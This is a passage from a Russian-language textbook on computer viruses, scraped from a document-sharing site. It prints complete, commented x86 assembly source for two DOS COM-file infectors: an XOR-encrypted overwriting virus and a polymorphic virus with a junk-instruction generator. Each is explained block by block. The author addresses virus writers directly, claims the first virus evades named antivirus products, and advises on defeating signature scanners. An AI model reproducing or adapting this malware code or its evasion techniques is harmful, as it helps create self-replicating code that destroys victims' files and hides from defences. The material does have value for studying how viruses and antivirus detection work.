Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

91

 

 

 

 

healthy:

 

 

 

 

mov

ax,3d02h

; Откроем файл

 

mov

dx,09eh

 

 

int

21h

 

 

mov

handle,ax

; Сохраним хэндл файла в переменную

 

call

infect_file

; Заразим файл

 

call

close_file

; Закроем его

 

jmp

short continue_search

; Перейдем к следующей жертве

 

ret

 

 

close_file:

 

 

 

mov

bx,handle

; Восстановим хэндл файла

 

mov

ah,3eh

; Затем закроем файл

 

int

21h

 

exit_virus:

 

 

 

ret

 

; Конец программы

;----------------------------------------------

 

 

 

 

fmask db '*.com',0

; Переменные

 

handle dw ?

;

code

ends

 

 

end

main

 

 

;----------------------------------------------

 

 

 

Рассмотрим данный вирус более подробно. Это необходимо, для того чтобы нормально разобраться с технологией динамического шифрования.

Взглянем на первый блок данного вируса:

;----------------------------------------------

 

 

 

main:

 

 

; Начало вирусной программы

call

encrypt_decrypt

; Расшифруем вирусный код

jmp

random_mutation

; Перейдем на метку мутации

encrypt_val

db

00h

; Переменная [шифрующий/расшифрующий ключ]

virus_size

equ

109

; переменная [длина вируса]

;----------------------------------------------

 

 

 

Здесь вначале вызывается процедура шифрования/расшифрования, затем переход на расшифрованный только что этой процедурой участок кода. Переменная encrypt_val содержит ключ для процедуры шифрования, при первом запуске он равен нулю, так как изначально вирус не зашифрован и преобразование XOR byte1,0 не изменит значения byte1. В virus_size хранится размер вируса.

Второй блок:

;----------------------------------------------

 

 

infect_file:

 

 

mov

bx,handle

; Возьмем хэндл файла

push

bx

; Положим его в стек

call

encrypt_decrypt

; Зашифруем большую часть вирусного кода

pop

bx

; Восстановим хэндл

mov

cx,virus_size

; Количество байт для записи

mov

dx,100h

; Откуда начинать переписывать

mov

ah,40h

; DOS-функция записи в файл

int

3h

; Антиэвристика

int

21h

;

92

 

DOS вирусы

 

 

 

call

encrypt_decrypt

; Зашифруем код (таким, каким он был)

ret

 

; Вернемся туда, откуда наc вызвали

;----------------------------------------------

 

 

Эта процедура инфицирования, как и первый блок, не шифруется, так как она необходима для инфицирования найденного файла. В начале в bx помещается хэндл найденного и открытого для чтения/записи файла. Затем bx сохраняется в стеке, так как в процедуре шифрования bx изменяется. После этого вызывается процедура шифрования, которая шифрует большую часть вируса, а после нее восстанавливается bx. И в файл-жертву переписывается уже зашифрованная версия вируса. Потом вирус расшифровывается, и управление возвращается в то место, откуда эта процедура была вызвана.

Третий блок:

;----------------------------------------------

 

 

encrypt_decrypt:

 

 

lea

bx,virus_code

; С какого места шифруем вирус

xor_loop:

 

; Начало шифрования здесь

mov

ah,[bx]

; Берем текущий байт

xor

ah,encrypt_val

; Преобразуем его операцией XOR по ключу

mov

[bx],ah

; И кладем шифрованный/расшифрованный байт на место

inc

bx

; Переходим к следующему байту

cmp

bx,offset virus_code+virus_size; Мы достигли конца файла?

jle

xor_loop

; Если нет, то шифруем дальше

ret

 

; Если да, то вернемся туда, откуда нас вызывали

;----------------------------------------------

 

 

Это процедура шифрования. В первой инструкции этого блока в bx загружается начало шифруемого кода. Затем в ah загружается первый байт этого кода и преобразуется при помощи операции XOR. После этого уже зашифрованный операцией XOR байт помещается на старое место. Аналогичные действия производятся со всеми байтами, начиная с метки virus_code и заканчивая концом вирусной программы.

Переходим к четвертому блоку:

;----------------------------------------------

virus_code:

random_mutation:

 

;

mov

ah,2ch

; Возьмем по таймеру значение

int

21h

 

mov

encrypt_val,dl

; Присвоим это случайное значение ключу

find_com:

 

 

xor

cx,cx

 

lea

dx,fmask

; Найдем файл по маске *.com

mov

ah,4eh

;

int

21h

 

jnc

healthy

 

continue_search:

 

 

mov

ah,4fh

; Ищем следующий файл

int

21h

;

jc exit_virus

; Если больше нет файлов, то идем на выход

;----------------------------------------------

 

 

DOS вирусы

93

 

 

В данном блоке используется функция 2ch (21 прерывания), которая помещает в dl случайное значение, и это случайное значение присваивается нашему ключу шифрования. Далее идет поиск файла. Если он найден, переход на метку healthy, если таковых файлов нет, то идет переход на завершение программы.

Последний пятый блок:

;----------------------------------------------

 

 

healthy:

 

 

mov

ax,3d02h

; Откроем файл

mov

dx,09eh

 

int

21h

 

mov

handle,ax

; Сохраним хэндл файла в переменную

call

infect_file

; Заразим файл

call

close_file

; Закроем его

jmp

short continue_search

; Перейдем к следующей жертве

close_file:

 

 

mov

bx,handle

; Восстановим хэндл файла

mov

ah,3eh

; Затем закроем файл

int

21h

 

exit_virus:

 

 

ret

 

; Конец программы

;----------------------------------------------

 

 

Здесь в начале блока открывается найденный файл на чтение/запись, хэндл файла помещается в переменную handle. Потом вызывается процедура инфицирования файла, следом за ней процедура закрытия инфицированного файла. Далее идет поиск следующей жертвы. Если таковой нет, то работа вируса завершается.

Данный вирус является наиболее очевидным применением технологии олигоморфизма11 на простейшем вирусе типа overwriter. Антивирусами, такими как AVP, dr.WEB, он не обнаруживается. Здесь был представлен наиболее тривиальный пример для наиболее полного понимания сути проблемы. Данную технологию можно и нужно применять вместе с остальными, это безмерно усилит потенциал вируса. Данная часть очень важна, так как на основе шифрующихся вирусов появились полиморфные. А понимание работы полиморфных вирусов невозможно в отрыве от шифрующих свой код.

Лечение данного вируса невозможно. Так как он безвозвратно портит программу, его необходимо удалять вместе с инфицированной программой. Но при идентификации небходимо цепляться только за декриптор, так как основное тело вируса мутирует.

5.6. Полиморфизм

Полиморфная технология основана на технологии шифрования и представляет собой тот же самый шифрованный вирус, но с тем лишь различием, что расшифровщик этого вируса не постоянный. Расшифровщик постоянно мутиру-

11 Автор использует редкоупотребляемый термин, обозначающий в данном контексте единство структуры вируса, но возможность сокрытия его под различными шифровыходами. —

Ïðèì. ðåä.

94

DOS вирусы

 

 

ет, что позволяет обманывать сигнатурные сканеры. От мутации к мутации в вирусе в идеале не должно оставаться постоянных байт. Другими словами, каждый раз мутируя, вирус полностью изменяется. Если сравнить две его различ- ные мутации, то в идеале не должно быть никакого сходства.

Родоначальником данной технологии является вирмэйкер12 из Болгарии Dark Avenger.

Чем же полиморфная технология отличается от олигоморфной? А тем, что расшифровщик в полиморфной технологии постоянно мутирует. Простейший пример полиморфной технологии — это разбавление расшифровщика командами nop или другими мусорными командами типа xchg ax,ax; mov bx,bx... Но чаще всего в полиморфизм вкладывают смысл замены одних команд другими — идентичными по содержанию, но разными по форме. К примеру, рассмотрим следующие команды: mov ax,bx; xchg ax,bx. Эти две команды не аналогичны, но первую инструкцию можно спокойно заменить другой. В полиморфном вирусе такие мутации происходят от запуска к запуску инфицированной программы, что позволяет быть вирусу неуязвимым по отношению к сигнатурным сканерам.

Простейший пример полиморфизма будет заключаться в том, что между настоящими инструкциями расшифровщика помещаются мусорные инструкции, которые от инфицирования к инфицированию будут изменяться. Что это может дать? Посмотрим на примере следующие байты, по которым антивирус опознает вирус: BE 22 01 8B FE. Это две инструкции расшифровщика :

;----------------------------------------------

 

 

 

mov si,0122

; BE

22

01

mov di,si

; 8B

FE

 

;----------------------------------------------

 

 

 

Что сделают разработчики антивирусов, если между этими командами расположить команду пустышку nop? Они ее добавят к строке сигнатуры, и байты, по которым будет определяться вирус, будут выглядеть так:

;----------------------------------------------

 

 

 

 

mov si,0122

; BE

22

01

nop

;

90

 

 

mov di,si

;

8B

FE

 

;----------------------------------------------

 

 

 

 

И уже по этой строке будет идентифицироваться ваш вирус. Это будет выглядеть примерно следующим образом. При проверке открывается подозрительный файл, из него читаются первые 6 байтов. Если они совпадают с BE 22 01 90 8B FE, то файл считается инфицированным.

Мутациями после каждого инфицирования будет изменяться мусорная команда, и тогда антивирус не обнаружит полного совпадения. Это позволяет надеяться на то, что он не назовет его вирусом. Но этот простейший пример полиморфизма срабатывает только на слабых сигнатурных сканерах.

Итак, перейдем к листингу.

12 От англ. virmaker — вирусописатель. — Ïðèì. ðåä.

DOS вирусы

 

 

95

 

;----------------------------------------------

code

segment

 

 

;

 

assume

cs:code,ds:code

;

 

org

100h

;

start:

 

 

 

 

 

junk1

db

90h

;

 

lea

si,encrypted

; Кладем в si начало шифрованной части кода

 

junk2

db

90h

;

 

mov

di,si

; В di тоже самое

 

junk3

db

90h

;

 

mov

cx,finished-encrypted

; В cx кладем количество байт для шифрования

 

junk4

db

90h

;

 

call

encryption

; Вызов процедуры шифрования/расшифрования

 

junk5

db

90h

;

 

jmp

encrypted

; Переход на начало шифрованного кода

 

junk6

db

90h

 

encryption:

 

 

; Процедура шифрования/расшифрования

 

lodsb

 

 

; Загружаем в al байт

 

junk7

db

90h

;

 

xor

al,byte ptr [decrypt]

; Преобразуем его операцией XOR

 

junk8

db

90h

;

 

stosb

 

 

; И кладем байт на прежнее место

 

junk9

db

90h

 

 

loop

encryption

; Повторять операции, пока все байты не зашифрованы

 

junk10

db

90h

 

 

ret

 

 

; Выход из процедуры

 

decrypt db

0

; Ключ шифрования

;----------------------------------------------

encrypted:

 

 

; Начало шифрованной части кода

 

call

musor

; Вызов нашего генератора мусора

 

mov

ah,4eh

; Поиск первого файла

get:

 

 

 

 

 

xor

cx,cx

;

 

lea

dx,comfile

;

 

int

21h

 

 

 

jc

end_virus

 

 

mov

ax,3d02h

; Открытие найденного файла на чтение/запись

 

mov

dx,9eh

;

 

int

21h

 

 

 

xchg

bx,ax

;

 

in

al,40h

; Получаем случайное число в al

 

mov

byte ptr [decrypt],al

; И это будет наш ключ шифрования

 

lea

si,encrypted

; Кладем в si начало шифрованной части кода

 

lea

di,finished

; Куда будем класть зашифрованный код

 

mov

cx,finished-encrypted

; Количество байт для шифрования

 

call

encryption

; Теперь вызываем процедуру шифрования

 

mov

ah,40h

; Запишем в найденный файл

 

mov

cx,encrypted-start

; Нешифрованную часть вируса

 

lea

dx,start

;

96

 

DOS вирусы

 

 

 

int

21h

 

mov

ah,40h

; Теперь допишем зашифрованную часть программы

mov

cx,finished-encrypted

;

lea

dx,finished

;

int

21h

 

mov

ah,3eh

; Закроем файл

int

21h

 

mov

ah,4fh

; Ищем следующий

jmp

get

; и заражаем его

end_virus:

 

 

ret

 

; Конец программы

;----------------------------------------------

musor:

 

; Процедура генерации мусора

lea si,start

; Начиная с какого места мы генерируем мусор

mov di,si

; Сначала и мусор будет размещен там же

mov cx,encrypted-start

; Кол-во байт, в которых могут встретиться мусорные

 

 

; команды

call generator

; Вызов генератора мусора

ret

 

; Возврат из процедуры

;----------------------------------------------

generator:

 

 

lodsb

 

; Загружаем первый байт из нешифрованной части

cmp al,90h

; Проверяем, если это nop, то

je preob

 

; изменяем его на другую мусорную команду, выбранную

 

 

; по случайному закону

cmp al,0f8h

; Проверяем, если это clc, то

je preob

 

; изменяем его на другую мусорную команду, выбранную

 

 

; по случайному закону

cmp al,0f9h

; Проверяем если это stc, то

je preob

 

; изменяем его на другую мусорную команду, выбранную

 

 

; по случайному закону

cmp al,0fbh

; Проверяем, если это sti, то

je preob

 

; изменяем его на другую мусорную команду, выбранную

 

 

; по случайному закону

cmp al,0fch

; Проверяем, если это cld, то

je preob

 

; изменяем его на другую мусорную команду, выбранную

 

 

; по случайному закону

cmp al,0fah

; Проверяем, если это cli, то

je preob

 

; изменяем его на другую мусорную команду, выбранную

 

 

; по случайному закону

jmp end_preob

; Если мы попали сюда, то это не мусорный байт и его

 

 

; трогать не нужно

preob:

 

 

call random2

; Процедура генерации случайной мусорной команды

 

 

; Результат будет в al

end_preob:

 

 

stosb

 

; Помещаем байт на прежнее место

loop generator

; Проверяем все байты из нешифрованной части

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

DOS вирусы

97

 

 

 

random2:

 

; Процедура генерации случайной мусорной команды

 

in ax,40h

; В ax помещается случайное число

 

and ax,5

; Эта команда ограничивает это число диапазоном 0-5

 

xchg ax,bx

; Это случайное число помещается в bx

 

add bx,offset garbage

; Добавляется смещение на таблицу мусорных команд

 

mov al,[bx]

; И в al помещается случайная команда из garbage

 

ret

; Возврат из процедуры

;----------------------------------------------

 

 

garbage:

 

 

 

nop

;

 

clc

;

 

stc

; Мусорные команды

 

cmc

;

 

cld

;

 

sti

;

;----------------------------------------------

 

 

 

comfile db "*.c*",0

; Маска *.com файла

finished:

;

code

ends

;

end

start

;

;----------------------------------------------

В этом вирусе использован способ шифрования, который уменьшает нешифрованную часть. Сам код шифруется, но его шифрованная версия помещается уже после конца вируса, что позволяет значительно уменьшить размер нешифрованной части приблизительно на треть.

Все байты, начинающиеся на junk, являются мусорными байтами, и они мутируют при вызове процедуры musor.

Теперь давайте рассмотрим этот вирус более подробно. Рассмотрим первый блок данного вируса:

;----------------------------------------------

 

 

 

start:

 

 

 

junk1

db 90h

; !!!!

 

lea

si,encrypted

; Кладем в si начало шифрованной части кода

junk2

db 90h

; !!!!

 

mov

di,si

; Â di

то же самое

junk3

db 90h

; !!!!

 

mov

cx,finished-encrypted

; Â cx

кладем количество байт для шифрования

junk4

db 90h

; !!!!

 

call

encryption

; Вызов процедуры шифрования/расшифрования

junk5

db 90h

; !!!!

 

jmp

encrypted

; Переход на начало шифрованного кода

junk6

db 90h

; !!!!

 

;----------------------------------------------

 

 

 

Все инструкции, отмеченные восклицательными знаками, — это мутирующие мусорные байты. В данном блоке мы определяем, с какого места нам расшифровать наш вирус и какое количество байт необходимо расшифровать. После этого мы вызываем процедуру расшифровки и после расшифровки передаем управление на расшифрованный код.

98 DOS вирусы

Перейдем ко второму блоку:

;----------------------------------------------

 

 

encryption:

 

; Процедура шифрования/расшифрования

lodsb

 

; Загружаем в al байт

junk7

db 90h

; !!!!

xor

al,byte ptr [decrypt] ; Преобразуем его операцией XOR

junk8

db 90h

; !!!!

stosb

 

; И кладем байт на прежнее место

junk9

db 90h

; !!!!

loop

encryption

; Повторять операции, пока все байты не зашифрованы

junk10

db 90h

; !!!!

ret

 

; Выход из процедуры

decrypt db 0

; Ключ шифрования

;----------------------------------------------

 

 

Это непосредственно сама процедура шифрования/расшифрования, как и в предыдущем блоке восклицательными знаками выделены мутирующие мусорные байты. В данном блоке используются инструкции lodsb и stosb. Инструкция lodsb загружает в регистр al байт с того места, куда указывает si, а инструкция stosb загружает байт из al в то место, на которое указывает di. Переменная decrypt — это ключ шифрования/расшифрования.

Третий блок:

;----------------------------------------------

 

 

encrypted:

 

; Начало шифрованной части кода

call

musor

; Вызов нашего генератора мусора

mov

ah,4eh

; Поиск первого файла

get:

 

 

xor

cx,cx

;

lea

dx,comfile

;

int

21h

 

jc

end_virus

; Если файл не найден, то конец программы

mov

ax,3d02h

; Открытие найденного файла на чтение/запись

mov

dx,9eh

;

int

21h

 

xchg

bx,ax

;

;----------------------------------------------

 

 

В данном блоке вызывается генератор мусорных байт, затем идет поиск файла. Если файл найден, то он открывается в режиме чтение/запись.

Теперь четвертый блок:

;----------------------------------------------

 

 

in

al,40h

; Получаем случайное число в al

mov

byte ptr [decrypt],al

; И это будет наш ключ шифрования

lea

si,encrypted

; Кладем в si начало шифрованной части кода

lea

di,finished

; Куда будем класть зашифрованный код

mov

cx,finished-encrypted

; Количество байт для шифрования

call

encryption

; Теперь вызываем процедуру шифрования

;----------------------------------------------

 

 

DOS вирусы

99

 

 

В данном блоке мы получаем случайное значение в al и сохраняем его в переменную decrypt. После этого в si мы кладем начало шифрованной части кода в di, туда, где зашифрованный код будет находиться перед его копированием в найденный файл. Он будет находиться после конца вируса. В cx будет количество байт для шифрования, и после вызывается процедура шифрования.

Пятый блок:

;----------------------------------------------

 

 

mov

ah,40h

; Запишем в найденный файл

mov

cx,encrypted-start

; Нешифрованную часть вируса

lea

dx,start

;

int

21h

 

mov

ah,40h

; Теперь допишем зашифрованную часть программы

mov

cx,finished-encrypted

;

lea

dx,finished

;

int

21h

 

mov

ah,3eh

; Закроем файл

int

21h

 

mov

ah,4fh

; Ищем следующий

jmp

get

; и заражаем его

end_virus:

 

 

ret

 

; Конец программы

;----------------------------------------------

 

 

Сначала в найденный файл копируется нешифрованная часть вируса, а затем с конца вируса копируется зашифрованная часть вируса. Затем файл закрывается и начинается поиск нового. Если такого нет, то работа вируса завершается.

Седьмой блок:

;----------------------------------------------

 

musor:

; Процедура генерации мусора

lea si,start

; Начиная с какого места мы генерируем мусор

mov di,si

; Сначала мусор будет размещен там же

mov cx,encrypted-start

; Кол-во байт, в которых могут встретиться мусорные

 

; команды

call generator

; Вызов генератора мусора

ret

; Возврат из процедуры

;----------------------------------------------

 

generator:

 

lodsb

; Загружаем первый байт из нешифрованной части

cmp al,90h

; Проверяем, если это nop, то

je preob

; изменяем его на другую мусорную команду, выбранную

 

; по случайному закону

cmp al,0f8h

; Проверяем, если это clc, то

je preob

; изменяем его на другую мусорную команду, выбранную

 

; по случайному закону

cmp al,0f9h

; Проверяем, если это stc, то

je preob

; изменяем его на другую мусорную команду, выбранную

 

; по случайному закону

cmp al,0fbh

; Проверяем, если это sti, то

100

DOS вирусы

 

 

je preob

; изменяем его на другую мусорную команду, выбранную

 

; по случайному закону

cmp al,0fch

; Проверяем, если это cld, то

je preob

; изменяем его на другую мусорную команду, выбранную

 

; по случайному закону

cmp al,0fah

; Проверяем, если это cli, то

je preob

; изменяем его на другую мусорную команду, выбранную

 

; по случайному закону

jmp end_preob

; Если мы попали сюда, то это не мусорный байт и его

 

; трогать не нужно

preob:

 

call random2

; Процедура генерации случайной мусорной команды

 

; Результат будет в al

end_preob:

 

stosb

; Помещаем байт на прежнее место

loop generator

; Проверяем все байты из нешифрованной части

ret

; Возврат из процедуры

;----------------------------------------------

 

Вначале загружаются индексные регистры si и di для указания на нешифрованную часть. Затем проверяется каждый байт из не шифрованной части на принадлежность к мусорному, если он мусорный, то вызываем процедуру random2, которая изменяет этот байт по случайному закону. После этого данный байт помещается на прежнее место.

Последний блок:

;----------------------------------------------

 

random2:

; Процедура генерации случайной мусорной команды

in ax,40h

; В ax помещается случайное число

and ax,5

; Эта команда ограничивает это число диапазоном 0-5

xchg ax,bx

; Это случайное число помещается в bx

add bx,offset garbage

; Добавляется смещение на таблицу мусорных команд

mov al,[bx]

; И в al помещается случайная команда из garbage

ret

; Возврат из процедуры

;----------------------------------------------

 

garbage:

 

nop

;

clc

;

stc

; Мусорные команды

cmc

;

cld

;

sti

;

;----------------------------------------------

 

В данном блоке случайным образом выбирается команда из таблицы garbage и помещается в регистр al. Вот с простейшим полиморфным вирусом мы и разобрались.

Более-менее приличные сигнатурные сканеры быстро выявят этот вирус. Стоит лишь исправить сигнатуру на следующую: BE 22 01 ? 8B FE, и ваш вирус уже идентифицируется вне зависимости от вашего мутирующего байта. Что же делать? Можно, к примеру, сделать следующее: 90 BE 22 01 8B FE. То есть необходимо мусорные команды чередовать в произвольном порядке с командами

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]